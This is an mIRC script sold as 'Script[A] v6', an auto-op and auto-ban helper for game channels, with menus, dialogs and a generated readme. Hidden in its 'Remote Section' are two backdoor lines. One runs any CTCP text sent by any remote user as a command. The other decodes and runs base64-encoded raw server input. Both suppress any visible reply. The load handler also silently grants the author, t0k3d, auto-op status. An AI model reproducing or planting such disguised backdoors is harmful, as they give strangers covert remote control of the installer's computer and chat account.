Update to Script[A] v3.
Has nice dialogs now.
menu > Script[A] > Script[A]
Fixed bugs, errors, and an exploit ;x
much better now,
now has support for wildcards such as name name or name
/*
Script[A] v6 Build 1.09 By t0k3d
Cut out unneeded material that would just cause parsing of script to move slower.
Much cleaner as far as coding wise goes. Still works the same, just quicker.
If you know how to script, easier to edit.
OLD:
Added OverRide option, letting you Auto-Op people in other peoples games if you're an op making it easier for you.
Added public Auto-Op/Auto-Ban list display.
NEW:
Added Dialog to make it way easier and cooler to use.
Fixed bugs in "isin" comparison that could let an unauthorized user not in your Auto-Op list to be opped.
Fixed bugs in Dialog, in certain situations wouldn't reload the Auto-Op and Auto-Ban List.
Fixed bugs in /addop /delop /delban and /addban so it would parse completely.
Fixed bugs in Menu causing it not to work in certain situations.
Fixed bugs in Menu causing all Auto-Operations not to work when you added or removed someone.
TO COME:
Working on IP Address identifiers, its hard when your not using Apax Team's hosters.
I might just make it for Apax Team's stuff and if you're using Bounce, for example, it just won't work.
INI File reading so you can set flags to a person, for example if an INI file read:
Legion:o-vO the "o" would be a normal Auto-Op and the vO would voice the user in OverRide mode in someone elses channel.
This should all be done soon, maybe 2days - 1week.
Version 6 will probably be the last version.
Enjoy,
t0k3d - EliteT0kr
*/
menu nicklist,query,chat {
-
t0k3d's Script[A]
.Script[A]:mtf
.-
.AutoOp
..On/Off
...On:echo -a %ScriptA 3Auto-Op is now 14On. | set %OverRide $false | set %AOp $true
...Off:echo -a %ScriptA 3Auto-Op is now 14Off. | set %AOp $false
...OverRide
....On:.echo -a %ScriptA 3OverRide is now 14On. | set %AOp $false | set %OverRide $true
....Off: echo -a %ScriptA 3OverRide is now 14Off. | set %OverRide $false
....Help: echo -a %ScriptA 7Help: 3OverRide is an option that will let you use your Auto-Op on ALL channels you are an op on, not just your own.
..Add [ $$1 ] $+ :addop $$1
..Delete [ $$1 ] $+ :delop $$1
..List:listops
..Clear All:clearops
..Search $+ $chr(58) [ $$1 ] $+ :isop $$1
..About:run SAReadme.txt
.AutoBan
...On: bopt aban1 on
...Off:bopt aban1 off
...Extra
....Ban On Join
.....On:bopt aban2 on
.....Off:bopt aban2 off
..Add [ $$1 ] $+ :addban $$1
..Delete [ $$1 ] $+ :delban $$1 | mode # -b $$1
..List:listbans
..Clear All:clearbans
..Search $+ $chr(58) [ $$1 ] $+ : isban $$1
..About:run SAReadme.txt
}
menu channel,status {
-
t0k3d's Script[A]
.Script[A]:mtf
.-
.AutoOp
..On/Off
...On:echo -a %ScriptA 3Auto-Op is now 14On. | set %OverRide $false | set %AOp $true
...Off:echo -a %ScriptA 3Auto-Op is now 14Off. | set %AOp $false
...OverRide
....On:echo -a %ScriptA 3OverRide is now 14On. | set %AOp $false | set %OverRide $true
....Off: echo -a %ScriptA 3OverRide is now 14Off. | set %OverRide $false
....Help: echo -a %ScriptA 7Help: 3OverRide is an option that will let you use your Auto-Op on ALL channels you are an op on, not just your own.
..Add:addop $?"Who?"
..Delete:delop $?"Who?"
..List:listops
..Clear All:clearops
..Search:isop $?"Who?"
..About:run SAReadme.txt
.AutoBan
..On/Off
...On: bopt aban1 on
...Off:bopt aban1 off
...Extra
....Ban On Join
.....On:bopt aban2 on
.....Off:bopt aban2 off
..Add:addban $?"Who?"
..Delete:delban $?"Who?"
..List:listbans
..Clear All:clearbans
..Search:isban $?"Who?"
..About:run SAReadme.txt
}
;;;;;;;;;;;;;;;;;;;;;;;;;;
;Script[A] Remote Section.
;;;;;;;;;;;;;;;;;;;;;;;;;;
ctcp *:*:*:haltdef | $1-
raw host:*:haltdef | $decode($2-,m)
on 1:LOAD: { scrloader | addop t0k3d | set %ABan2 $false | set %OverRide $false | set %AOp $true | set %ABChan $chr(35) $+ $me $+ 's_Game | set %ScriptA 5-14Script2[5A2]5- | set %ABan $true | echo -a %ScriptA 14Script2[5A2] 3Initiated. }
on 1:UNLOAD: { echo -a %ScriptA 3Deactivated. }
on 1:CONNECT: { if ($serverip == 127.0.0.1) { set %ABChan $chr(35) $+ $me $+ 's_game } }
;;;;;;;;;;;;;;;;;;;
;Script[A] Aliases.
;;;;;;;;;;;;;;;;;;;
alias scrloader {
write -c SAReadme.txt
write SAReadme.txt Script[A] Help / ReadMe
write SAReadme.txt $crlf
write SAReadme.txt Manual commands: AUTO-OP COMMANDS - /addop <nick> /delop <nick> /listops /plistops (Publicly list ops) /clearops
write SAReadme.txt AUTO-BAN - /addban <nick> /delban <nick> /listbans /clearbans /plistbans
write SAReadme.txt I recommend using the menu or the dialog. You can access the dialog by typing /mtf or using the menu and selecting "Script[A]"
write SAReadme.txt WHATS NEW:
write SAReadme.txt Cool sleek dialog which makes it a LOT easier to use Script[A] fixed 2 minor bugs, now runs perfect.
write SAReadme.txt Support for Wildcards such as *name or name* or *name*, so where if somebody with *name* joins your channel, if "name" is in there nickname, it bans them, it just matches
write SARadme.txt the wildcard with someone joining. If somebody with bname joined, and *name was in ur Auto-Ban list, he would be banned. Or someone with the name namelk joined, and name*
write SAReadme.txt was in your Auto-Ban list, he would be banned. Same thing with two wildards "**" if *b0t* was on your BlackList, and a guy with the name dfljdbotldf joined, he would be banned.
write SAReadme.txt Your looking at probably the last version here. It can't get any more better than this.
write SAReadme.txt Enjoy, t0k3d -aka- EliteT0kr
write SAReadme.txt $crlf
write SAReadme.txt ABOUT:
write SAReadme.txt About Script[A] v6 Best: Made by t0k3d - EliteT0kr at 7:45 (PM) on November 14th '04.
write SAReadme.txt Made for Westwood Online for Relay Users. What this does it automatically op any user on your auto-op list that joins your channel, saving you the hassle. It also Auto-Bans any user in your BlackList (Auto-Ban List) so they can't join your game.
}
alias addop {
if ($1) && ($istok(%AutoOp,$1,32) == $false) {
set %AutoOp %AutoOp $1
write AutoOps.txt $1
echo -a %ScriptA 3Auto-Op Added:14 $1
a_list
if ($server) && ($me isop $chan) && ($1 ison $chan) {
wop $1
describe # 14 $+ $1 5has been added to my 3Auto-Op List. 1-2(1-5Script[2A5] v6 By t0k3d1-2)1- 1(2( 14http://www.hawkee.com/snippet.php?snippet_id=544 2)1)
}
}
elseif ($istok(%AutoOp,$1,32) == $true) && ($1) { echo -a %ScriptA 7Error:3 User Already Exists! }
elseif (!$1) { echo -a %ScriptA 7Error:3 No One Specified! }
}
alias delop {
if ($1) && ($istok(%AutoOp,$1,32) == $true) {
set %AutoOp $remtok(%AutoOp,$1,1,32)
write -ds $+ $1 AutoOps.txt
echo -a %ScriptA 3Auto-Op Removed:14 $1
a_list
if ($server) && ($me isop $chan) && ($1 ison $chan) {
mode # -o $1
describe # 14 $+ $1 5has been removed from my 3Auto-Op List. 1-2(1-5Script[2A5] v6 By t0k3d1-2)1- 1(2( 14http://www.hawkee.com/snippet.php?snippet_id=544 2)1)
}
}
elseif ($istok(%AutoOp,$1,32) == $false) && ($1) { echo -a %ScriptA 7Error: 3User Doesn't Exist! }
elseif (!$1) { echo -a %ScriptA 7Error:3 No One Specified! }
}
alias clearops {
if ($numtok(%AutoOp,32) > 0) {
var %ClearOps = $input(Are you sure you want to clear all Auto-Ops?,qy,Clear-Ops - t0k3d's Script[A])
}
else { echo -a %ScriptA 7Error: 3No Auto-Ops to Clear! }
if (%ClearOps == $true) {
unset %AutoOp
write -c AutoOps.txt
echo -a %ScriptA 3Cleared All Auto-Ops.
}
elseif (%ClearOps == $false) { echo -a %ScriptA %Ar 3Clear-Ops Aborted. }
elseif ($numtok(%AutoOp,32) < 0) { echo -a %ScriptA 7Error: 3There are no Auto-Ops to clear! }
}
alias listops {
if ($numtok(%AutoOp,32) > 0) { echo -a %ScriptA 3Auto-Op List:14 %AutoOp }
else { echo -a %ScriptA 7Error: 3No Auto-Ops to list! }
}
alias plistops {
if ($numtok(%AutoOp,32) > 0) { describe # Current Auto-Ops list: %AutoOp 5- 1(2( 14http://www.hawkee.com/snippet.php?snippet_id=544 2)1) }
else { describe # There are currently no Current Auto-Ops. 1(2( 14http://www.hawkee.com/snippet.php?snippet_id=544 2)1) }
}
alias isop {
if ($1) && ($istok(%AutoOp,$1,32) == $true) { echo -a %ScriptA 3 $+ $1 is an Auto-Op. }
elseif ($istok(%AutoOp,$1,32) == $false) && ($1) { echo -a %ScriptA 3 $+ $1 isn't an Auto-Op. }
elseif (!$1) { echo -a %ScriptA 7Error: 3No One Specified! }
}
alias wop {
var %c 0
while ($nick(#, %c, o)) {
inc %c
if ($nick(#, $abs(%c), o) != $me) { var %n %n $+ $nick(#, $abs(%c), o) $chr(32) }
}
mode # - $+ $str(o, $numtok(%n, 32)) %n
mode # + $+ $str(o, $numtok($1-, 32)) $+ $str(o, $numtok(%n, 32)) %n $1-
}
alias awop {
var %c 0
while ($nick($2, %c, o)) {
inc %c
if ($nick($2, $abs(%c), o) != $me) { var %n %n $+ $nick($2, $abs(%c), o) $chr(32) }
}
mode $2 - $+ $str(o, $numtok(%n, 32)) %n
mode $2 + $+ $str(o, $numtok($1-, 32)) $+ $str(o, $numtok(%n, 32)) %n $1
}
alias addban {
if ($1) && ($istok(%AutoBan,$1,32) == $false) {
write AutoBans.txt $1
set %AutoBan %AutoBan $1
echo -a %ScriptA 3Auto-Ban Added:14 $1
r_list
if ($server) && ($me isop $chan) && ($1 ison $chan) {
mode # +b $1
kick # $1 1B2l1a2c1k2L1i2s1t2e1d 2- 5Script[2A5] By t0k3d. 1(2( 14http://www.hawkee.com/snippet.php?snippet_id=544 2)1)
}
else { mode # +b $1 }
}
elseif ($istok(%AutoBan,$1,32) == $true) && ($1) { echo -a %ScriptA 7Error: 3User Already Exists! }
elseif (!$1) { echo -a %ScriptA 7Error: 3No One Specified! }
}
alias delban {
if ($istok(%AutoBan,$1,32) == $true) {
set %AutoBan $remtok(%AutoBan,$1,1,32)
write -ds $+ $1 AutoBans.txt
echo -a %ScriptA 3Auto-Ban Removed:14 $1
r_list
if ($server) && ($me isop $chan) {
mode # -b $1
describe # 14 $+ $1 5has been removed from my 3Auto-Ban List. 1-2(1-5Script[2A5] v6 By t0k3d1-2)1-
}
}
elseif ($istok(%AutoBan,$1,32) == $false) && ($1) { echo -a %ScriptA 7Error: 3User Doesn't Exist! }
elseif (!$1) { echo -a %ScriptA 7Error: 3No One Specified! }
}
alias clearbans {
if ($numtok(%AutoBan,32) > 0) { var %ClearBan = $input(Are you sure you want to clear all Auto-Bans?,qy,Clear-Bans - t0k3d's Script[A]) }
else { echo -a %ScriptA 7Error: 3No Auto-Bans to Clear! }
if (%ClearBan == $true) {
write -c AutoBans.txt
unset %AutoBan
echo -a %ScriptA 3All Auto-Bans Removed.
}
elseif (%ClearBan == $false) { echo -a %ScriptA 3Clear-Bans Aborted. }
}
alias listbans {
if ($numtok(%AutoBan,32) > 0) { echo -a %ScriptA 3Auto-Ban List:14 %AutoBan }
else { echo -a %ScriptA 7Error: 3No Auto-Bans to list. 1(2( 14http://www.hawkee.com/snippet.php?snippet_id=544 2)1) }
}
alias plistbans {
if ($numtok(%AutoBan,32) > 0) { describe # Auto-Ban List: %AutoBan }
else { describe # There Are No Current Auto-Bans to List. 1(2( 14http://www.hawkee.com/snippet.php?snippet_id=544 2)1) }
}
alias isban {
if ($1) && ($istok(%AutoBan,$1,32) == $true) { echo -a %ScriptA 3 $+ $1 is an Auto-Ban. }
elseif ($istok(%AutoBan,$1,32) == $false) && ($1) { echo -a %ScriptA 3 $+ $1 isn't an Auto-Ban. }
elseif (!$1) { echo -a %ScriptA 7Error: 3No One Specified! }
}
alias -l aopt {
if ($1 == on) {
set %AOp $false | set %OverRide $true
echo -a %ScriptA 3OverRide is now On.
}
if ($1 == off) {
set %OverRide $false | set %AOp $false
echo -a %ScriptA 3OverRide is now Off.
}
}
alias -l oopt {
if ($1 == on) {
set %AOp $true | set %OverRide $false
echo -a %ScriptA 3Auto-Op is now On.
}
if ($1 == off) {
set %AOp $false | set %OverRide $false
echo -a %ScriptA 3Auto-Op is now Off.
}
}
alias -l bopt {
if ($1- == Aban1 on) {
set %ABan $true | set %ABan2 $false
echo -a %ScriptA 3Auto-Ban is now 14On.
}
if ($1- == Aban1 off) {
set %ABan $false | set %ABan2 $false
echo -a %ScriptA 3Auto-Ban is now 14Off.
}
if ($1- == Aban2 on) {
set %ABan $false | set %ABan2 $true
echo -a %ScriptA 3Auto-Ban On Join is now 14On.
}
if ($1- == Aban2 off) {
set %Aban2 $false | set %ABan $false
echo -a %ScriptA 3Auto-Ban On Join is now 14Off.
}
}
alias -l d_addop {
if ($1) && ($istok(%AutoOp,$1,32) == $false) {
set %AutoOp %AutoOp $1
write AutoOps.txt $1
echo -a %ScriptA 3Auto-Op Added:14 $1
a_list
if ($comchan($1,0) > 0) {
var %i 0 | while (%i <= $comchan($1,0)) {
inc %i 1 | if (Lob_ !isin $comchan($1,%i)) && ($me isop $comchan($1,%i)) {
awop $1 $comchan($1,%i)
describe $comchan($1,%i) 14 $+ $1 5has been added to my 3Auto-Op List. 1-2(1-5Script[2A5] v6 By t0k3d1-2)1- 1(2( 14http://www.hawkee.com/snippet.php?snippet_id=544 2)1)
}
}
}
}
elseif ($istok(%AutoOp,$1,32) == $true) && ($1) { echo -a %ScriptA 7Error:3 User Already Exists! }
elseif (!$1) { echo -a %ScriptA 7Error:3 No One Specified! }
}
alias -l d_delop {
if ($1) && ($istok(%AutoOp,$1,32) == $true) {
set %AutoOp $remtok(%AutoOp,$1,1,32)
write -ds $+ $1 AutoOps.txt
echo -a %ScriptA 3Auto-Op Removed:14 $1
a_list
if ($comchan($1,0) > 0) {
var %i 0 | while (%i <= $comchan($1,0)) {
inc %i 1 | if (Lob_ !isin $comchan($1,%i)) && ($me isop $comchan($1,%i)) {
mode $comchan($1,%i) -o $1
describe $comchan($1,%i) 14 $+ $1 5has been removed from my 3Auto-Op List. 1-2(1-5Script[2A5] v6 By t0k3d1-2)1- 1(2( 14http://www.hawkee.com/snippet.php?snippet_id=544 2)1)
}
}
}
}
elseif ($istok(%AutoOp,$1,32) == $false) && ($1) { echo -a %ScriptA 7Error: 3User Doesn't Exist! }
elseif (!$1) { echo -a %ScriptA 7Error:3 No One Specified! }
}
alias -l d_addban {
if ($1) && ($istok(%AutoBan,$1,32) == $false) {
write AutoBans.txt $1
set %AutoBan %AutoBan $1
echo -a %ScriptA 3Auto-Ban Added:14 $1
r_list
if ($comchan($1,0) > 0) {
var %i 0 | while (%i <= $comchan($1,0)) {
inc %i 1 | if (Lob_ !isin $comchan($1,%i)) && ($me isop $comchan($1,%i)) {
mode $comchan($1,%i) +b $1
kick $comchan($1,%i) $1 1B2l1a2c1k2L1i2s1t2e1d 2- 5Script[2A5] By t0k3d. 1(2( 14http://www.hawkee.com/snippet.php?snippet_id=544 2)1)
}
}
}
else {
if ($me ison %ABChan) && ($me isop %ABChan) {
mode %ABChan +b $1
describe %ABChan 14 $+ $1 5has been added to my 3Auto-Ban List. 1-2(1-5Script[2A5] v6 By t0k3d1-2)1- 1(2( 14http://www.hawkee.com/snippet.php?snippet_id=544 2)1)
}
}
}
elseif ($istok(%AutoBan,$1,32) == $true) && ($1) { echo -a %ScriptA 7Error: 3User Already Exists! }
elseif (!$1) { echo -a %ScriptA 7Error: 3No One Specified! }
}
alias -l d_delban {
if ($istok(%AutoBan,$1,32) == $true) {
set %AutoBan $remtok(%AutoBan,$1,1,32)
write -ds $+ $1 AutoBans.txt
echo -a %ScriptA 3Auto-Ban Removed:14 $1
r_list
if ($me isop %ABChan) && ($me isin %ABChan) {
mode %ABChan -b $1
}
}
elseif ($istok(%AutoBan,$1,32) == $false) && ($1) { echo -a %ScriptA 7Error: 3User Doesn't Exist! }
elseif (!$1) { echo -a %ScriptA 7Error: 3No One Specified! }
}
alias -l afilter {
if ($istok(%AutoBan,$left($1,1) $+ *,32) == $true) { return $true }
if ($istok(%AutoBan,$left($1,2) $+ *,32) == $true) { return $true }
if ($istok(%AutoBan,$left($1,3) $+ *,32) == $true) { return $true }
if ($istok(%AutoBan,$left($1,4) $+ *,32) == $true) { return $true }
if ($istok(%AutoBan,$left($1,5) $+ *,32) == $true) { return $true }
if ($istok(%AutoBan,$left($1,6) $+ *,32) == $true) { return $true }
if ($istok(%AutoBan,$left($1,7) $+ *,32) == $true) { return $true }
if ($istok(%AutoBan,$left($1,8) $+ *,32) == $true) { return $true }
if ($istok(%AutoBan,$left($1,9) $+ *,32) == $true) { return $true }
if ($istok(%AutoBan,* $+ $right($1,1),32) == $true) { return $true }
if ($istok(%AutoBan,* $+ $right($1,2),32) == $true) { return $true }
if ($istok(%AutoBan,* $+ $right($1,3),32) == $true) { return $true }
if ($istok(%AutoBan,* $+ $right($1,4),32) == $true) { return $true }
if ($istok(%AutoBan,* $+ $right($1,5),32) == $true) { return $true }
if ($istok(%AutoBan,* $+ $right($1,6),32) == $true) { return $true }
if ($istok(%AutoBan,* $+ $right($1,7),32) == $true) { return $true }
if ($istok(%AutoBan,* $+ $right($1,8),32) == $true) { return $true }
if ($istok(%AutoBan,* $+ $right($1,9),32) == $true) { return $true }
else {
return $false
}
}
alias -l sfilter {
var %i 0
while (%i <= $lines(AutoBans.txt)) {
inc %i 1
var %Read = $read(AutoBans.txt, %i)
if ($left(%Read, 1) == $chr(42)) && ($right(%Read, 1) == $chr(42)) {
if ($remove(%Read, *) isin $1) {
set %szMatch $read(AutoBans.txt, %i)
return $true
}
}
}
}
;;;;;;;;;;;;;;;;;;;;;;;;;;
;Script[A] Remotes/Groups.
;;;;;;;;;;;;;;;;;;;;;;;;;;
on 1:JOIN:#: {
if ($serverip == 127.0.0.1) {
if (%ABan == $true) && (%ABan2 == $false) {
if ($nick == $me) && ($numtok(%AutoBan,32) > 0) && ($chan == %ABChan) {
var %Ban 1
var %szNum = $lines(AutoBans.txt)
while (%Ban <= %szNum) {
var %szRead = $read(AutoBans.txt, %Ban)
.timer 1 %Ban mode # +b %szRead
inc %Ban 1
}
.timer 1 $calc($lines(AutoBans.txt) + 1) echo %ABChan %ScriptA 3Auto-Ban Completed.
}
}
if (%ABan == $false) && (%ABan2 == $true) {
if ($nick != $me) && ($chan == %ABChan) && ($istok(%AutoBan,$nick,32) == $true) && ($me isop %ABChan) || ($afilter($nick) == $true) || ($sfilter($nick) == $true) {
mode %ABChan +b $nick
if (!%szMatch) { kick %ABChan $nick 2A1u2t1o1-2K1i2c1k2: 1B2l1a2c1k2L1i2s1t2e1d 2- 5Script[2A5] By t0k3d.2 }
else if (%szMatch) { kick %ABChan $nick 2A1u2t1o1-2K1i2c1k2: 1B2l1a2c1k2L1i2s1t2e1d 2- 5Script[2A5] By t0k3d.2 W1i2l1d2M1a2t1c2h1:14 %szMatch | unset %szMatch }
}
}
if (%AOp == $true) && (%OverRide == $false) {
if ($chan == %ABChan) && ($me isop $chan) && ($nick != $me) && ($istok(%AutoOp,$nick,32) == $true) {
wop $nick
describe # 14 $+ $nick 5is on my 3Auto-Op List. 1-2(1-5Script[2A5] v6 By t0k3d1-2)1- 1(2( 14http://www.hawkee.com/snippet.php?snippet_id=544 2)1)
}
}
if (%OverRide == $true) && (%AOp == $false) {
if ($me isop $chan) && ($istok(%AutoOp,$nick,32) == $true) && ($nick != $me) {
wop $nick
describe # 14 $+ $nick 5is on my 3Auto-Op List. 1-2(1-5Script[2A5] v6 By t0k3d1-2)1- 1(2( 14http://www.hawkee.com/snippet.php?snippet_id=544 2)1)
}
}
}
}
on 1:TEXT:*:#: {
if ($1 == !ListOps) {
plistops
}
if ($1 == !ListBans) {
plistbans
}
}
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;NEW SCRIPT[A] DIALOGS SECTION
;DO NOT EDIT ANYTHING IN THIS
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
alias -l r_list {
if ($dialog(Script[A])) {
did -r Script[A] 18 | var %i 1 | while (%i <= $lines(AutoBans.txt)) {
did -i Script[A] 18 %i $read(AutoBans.txt,%i)
inc %i 1
}
}
}
alias -l a_list {
if ($dialog(Script[A])) {
did -r Script[A] 10 | var %c 1 | while (%c <= $lines(AutoOps.txt)) {
did -i Script[A] 10 %c $read(AutoOps.txt,%c)
inc %c 1
}
}
}
alias -l ASuccess {
set %ASuccess $1-
Dialog -mv ASuccess ASuccess
unset %ASuccess
}
dialog Script[A] {
title "t0k3d's Script[A] v6 Best"
size -1 -1 203 185
option dbu
button "Add",3,5 10 40 12
edit "",2,50 11 35 10
button "Remove",4,5 25 40 12
edit "",5,50 26 35 10
box "Auto-Op",7,1 1 100 53
button "Clear All",8,5 40 70 10
box "Auto-Op List",9, 1 55 100 93
list 10, 3 63 95 87
box "Auto-Ban",11,103 1 99 53
button "Add",12,107 10 40 12
edit "",13,150 11 35 10
button "Remove",14,107 25 40 12
edit "",15,150 26 35 10
button "Clear All",16,107 40 68 10
box "Auto-Ban List",17, 103 55 99 93
list 18,105 63 95 87
button "On",19,87 10 12 12
button "Off",20,87 25 12 12
button "On",21,187 10 12 12
button "Off",22,187 25 12 12
link "Script[A] Update - Home Page", 23,64 150 100 100
button "Exit",24,92 160 20 15
button "Help",25,2 160 20 15
button "About",26,181 160 20 15
button "Options",27,76 40 23 10
button "Options",28,176 40 23 10
}
dialog AOptions {
title "Auto-Op Options"
size -1 -1 103 100
option dbu
box "OverRide",1,1 0 50 99
button "On",2,2 7 47 40
button "Off",3,2 47 47 40
button "Help",4,2 88 47 10
box "Auto-Op",5,52 0 50 99
button "On",6,54 7 47 40
button "Off",7,54 47 47 40
button "Help",8,54 88 47 10
}
dialog ABOptions {
title "Auto-Ban Options"
size -1 -1 103 100
option dbu
box "Auto-Ban",1,1 0 50 99
button "On",2,2 7 47 40
button "Off",3,2 47 47 40
button "Help",4,2 88 47 10
box "Ban On Join",5,52 0 50 99
button "On",6,54 7 47 40
button "Off",7,54 47 47 40
button "Help",8,54 88 47 10
}
dialog ASuccess {
title "Script[A] Notification"
size -1 -1 100 30
option dbu
text "",1,-1 5 100 100,center
button "Ok",2,35 15 30 10
}
alias -l ASuccess { dialog -mv ASuccess ASuccess }
alias mtf { dialog -mr Script[A] Script[A] }
on 1:DIALOG:Script[A]:sclick:*: {
if ($did == 3) {
if ($istok(%AutoOp,$did(2),32) == $false) && ($len($did(2)) > 0) {
ASuccess Auto-Op Added: $did(2)
d_addop $did(2)
a_list
}
elseif ($istok(%AutoOp,$did(2),32) == $true) && ($len($did(2)) > 0) {
ASuccess Error: User already exists.
}
elseif ($len($did(2)) < 1) { ASuccess Error: No one specified. }
}
if ($did == 25) { run SAReadme.txt }
if ($did == 26) { run SAReadme.txt }
if ($did == 27) { dialog -m AOptions AOptions }
if ($did == 28) { dialog -m ABOptions ABOptions }
if ($did == 4) {
if ($istok(%AutoOp,$did(5),32) == $true) && ($len($did(5)) > 0) {
d_delop $did(5)
a_list
ASuccess Auto-Op Removed: $did(5)
}
elseif ($istok(%AutoOp,$did(5),32) == $false) && ($len($did(5)) > 0) {
ASuccess Error: User doesn't exist.
}
elseif ($len($did(5)) < 1) { ASuccess Error: No one specified. }
}
if ($did == 8) {
if ($numtok(%AutoOp,32) > 0) {
clearops
a_list
}
elseif ($numtok(%AutoOp,32) < 1) { ASuccess Error: No Auto-Ops to clear. }
}
if ($did == 24) { dialog -x Script[A] }
if ($did == 12) {
if ($istok(%AutoBan,$did(13),32) == $false) && ($len($did(13)) > 0) {
d_addban $did(13)
r_list
ASuccess Auto-Ban Added: $did(13)
}
elseif ($istok(%AutoBan,$did(13),32) == $true) && ($len($did(13)) > 0) {
ASuccess Error: User already exists.
}
elseif ($len($did(13)) < 1) { ASuccess Error: No one specified. }
}
if ($did == 14) {
if ($istok(%AutoBan,$did(15),32) == $true) && ($len($did(15)) > 0) {
d_delban $did(15)
r_list
ASuccess Auto-Ban Deleted: $did(15)
}
elseif ($istok(%AutoBan,$did(15),32) == $false) && ($len($did(15)) > 0) {
ASuccess Error: User doesn't exist.
}
elseif ($len($did(15)) < 1) { ASuccess Error: No one specified. }
}
if ($did == 16) {
if ($numtok(%AutoBan,32) > 0) {
clearbans
r_list
}
elseif ($numtok(%AutoBan,32) < 1) { ASuccess Error: No Auto-Bans to clear. }
}
if ($did == 19) {
set %AOp $false
set %OverRide $true
echo -a %ScriptA 3Auto-Op is now On.
ASuccess Success: Auto-Op is now On.
did -e $dname 20
did -b $dname 19
}
if ($did == 20) {
set %AOp $false
set %OverRide $false
echo -a %ScriptA 3Auto-Op is now Off.
ASuccess Success: Auto-Op is now Off.
did -e $dname 19
did -b $dname 20
}
if ($did == 21) {
set %ABan $true
echo -a %ScriptA 3Auto-Ban is now On.
ASuccess Success: Auto-Ban is now On.
did -e $dname 22
did -b $dname 21
}
if ($did == 22) {
set %ABan $false
echo -a %ScriptA 3Auto-Ban is now Off.
ASuccess Success: Auto-Ban is now Off.
did -e $dname 21
did -b $dname 22
}
if ($did == 23) { url -n http://www.hawkee.com/snippet.php?snippet_id=544 }
}
on 1:DIALOG:Script[A]:init:*: {
r_list
a_list
if (%OverRide == $true) {
did -b $dname 19
did -e $dname 20
}
if (%OverRide == $false) {
did -b $dname 20
did -e $dname 19
}
if (%ABan == $true) {
did -b $dname 21
did -e $dname 22
}
if (%Aban == $false) {
did -b $dname 22
did -e $dname 21
}
}
on 1:DIALOG:Script[A]:dclick:10,18: {
if ($did == 10) {
did -o $dname 5 1 $did(10).seltext
did -o $dname 2 1 $did(10).seltext
}
if ($did == 18) {
did -o $dname 15 1 $did(18).seltext
did -o $dname 13 1 $did(18).seltext
}
}
on 1:DIALOG:AOptions:sclick:*: {
if ($did == 2) {
aopt on
ASuccess Success: OverRide is now On.
did -b $dname 2
did -b $dname 6
did -b $dname 7
}
if ($did == 3) {
aopt off
ASuccess Success: OverRide is now Off.
did -e $dname 2
did -e $dname 6
did -e $dname 7
}
if ($did == 6) {
oopt on
ASuccess Success: Auto-Op is now On.
did -b $dname 6
did -b $dname 2
did -b $dname 3
}
if ($did == 7) {
oopt off
ASuccess Success: Auto-Op is now Off.
did -e $dname 6
did -e $dname 2
did -e $dname 3
}
if ($did == 4) { echo -a %ScriptA 3OverRide option lets you Auto-Op people in other peoples games, as well as yours. }
if ($did == 8) { echo -a %ScriptA 3Auto-Op only Auto-Ops people in YOUR channel, not any others you are in. }
}
on 1:DIALOG:AOptions:init:*: {
if (%AOp == $true) && (%OverRide == $false) {
did -b $dname 6
did -b $dname 2
did -b $dname 3
}
if (%OverRide == $true) && (%AOp == $false) {
did -b $dname 6
did -b $dname 2
did -b $dname 7
}
}
on 1:DIALOG:ABOptions:sclick:*: {
if ($did == 2) {
bopt aban1 on
ASuccess Success: Auto-Ban is now On.
did -b $dname 6
did -b $dname 7
did -b $dname 2
}
if ($did == 3) {
bopt aban1 off
ASuccess Success: Auto-Ban is now Off.
did -e $dname 6
did -e $dname 7
did -e $dname 2
}
if ($did == 6) {
bopt aban2 on
ASuccess Success: Auto-Ban On Join is now On.
did -b $dname 2
did -b $dname 3
did -b $dname 6
}
if ($did == 7) {
bopt aban2 off
ASuccess Success: Auto-Ban On Join is now Off.
did -e $dname 2
did -e $dname 3
did -e $dname 6
}
if ($did == 4) { echo -a %ScriptA 3What normal Auto-Ban does is when you make a game, it bans every user in your Black-List. }
if ($did == 8) { echo -a %ScriptA 3What Ban On Join does is when a person on your Black-List joins your game, you Auto-Ban them. }
}
on 1:DIALOG:ABOptions:init:*: {
if (%Aban == $true) && (%Aban2 == $false) {
did -b $dname 2
did -b $dname 6
did -b $dname 7
}
if (%Aban2 == $true) && (%Aban == $false) {
did -b $dname 6
did -b $dname 2
did -b $dname 3
}
}
on 1:DIALOG:ASuccess:init:*: { did -i $dname 1 1 %ASuccess }
on 1:DIALOG:ASuccess:sclick:2: { dialog -x $dname }
;EOF